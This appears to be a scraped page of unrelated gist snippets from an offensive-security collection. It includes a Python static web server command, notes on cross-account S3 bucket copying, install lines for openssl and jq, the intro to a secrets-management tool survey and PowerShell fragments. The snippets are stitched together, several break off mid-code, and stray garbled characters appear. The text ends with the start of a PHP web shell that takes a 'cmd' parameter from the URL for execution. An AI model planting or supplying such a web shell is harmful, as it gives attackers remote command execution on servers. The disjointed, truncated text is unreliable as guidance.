mrz-secops-offsec jonz-secops

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000

This is a mix between two sources:

basically the first resource is great but didn't work for me: I had to remove the trailing "/*" in the resource string to make it work. I also noticed that setting the policy on the source bucket was sufficient. In the end these are the exact steps I followed to copy data between two buckets on two accounts

Basically the idea there is:

we allowe the destination account to read the source bucket (in the console for the source account)
we log as the destination and start the copy

openssl

Install

Install the OpenSSL on Debian based systems

sudo apt-get install openssl

Processing JSON using jq

jq is useful to slice, filter, map and transform structured json data.

Installing jq

On Mac OS

brew install jq

Currently, there is an explosion of tools that aim to manage secrets for automated, cloud native infrastructure management. Daniel Somerfield did some work classifying the various approaches, but (as far as I know) no one has made a recent effort to summarize the various tools.

This is an attempt to give a quick overview of what can be found out there. The list is alphabetical. There will be tools that are missing, and some of the facts might be wrong--I welcome your corrections. For the purpose, I can be reached via @maxvt on Twitter, or just leave me a comment here.

There is a companion feature matrix of various tools. Comments are welcome in the same manner.

	# Conversion of http://docs.splunk.com/Documentation/Splunk/latest/RESTAPI/RESTsearch#search.2Fjobs.2Fexport
	# example using curl, to PowerShell with Invoke-RestMethod cmdlet
	#
	# $ curl -k -u admin:changeme https://localhost:8089/services/search/jobs/export
	# --data-urlencode search="search index=_internal \| stats count by sourcetype"
	# -d output_mode=json -d earliest="rt-5m" -d latest="rt"

	$cred = Get-Credential

	# This will allow for self-signed SSL certs to work

	<#
	.SYNOPSIS
	An MTR clone for PowerShell.
	Written by Tyler Applebaum.
	Version 2.1

	.LINK
	https://gist.github.com/tylerapplebaum/dc527a3bd875f11871e2
	http://www.team-cymru.org/IP-ASN-mapping.html#dns

	<Configuration>
	<ViewDefinitions>
	<View>
	<Name>MatchInfo</Name>
	<ViewSelectedBy>
	<TypeName>Microsoft.PowerShell.Commands.MatchInfo</TypeName>
	</ViewSelectedBy>
	<CustomControl>
	<CustomEntries>
	<CustomEntry>


	.
	..
	........
	@
	*
	.
	..*
	ðŸŽ

	<html>
	<body>
	<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
	<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
	<input type="SUBMIT" value="Execute">
	</form>
	<pre>
	<?php
	if(isset($_GET['cmd']))
	{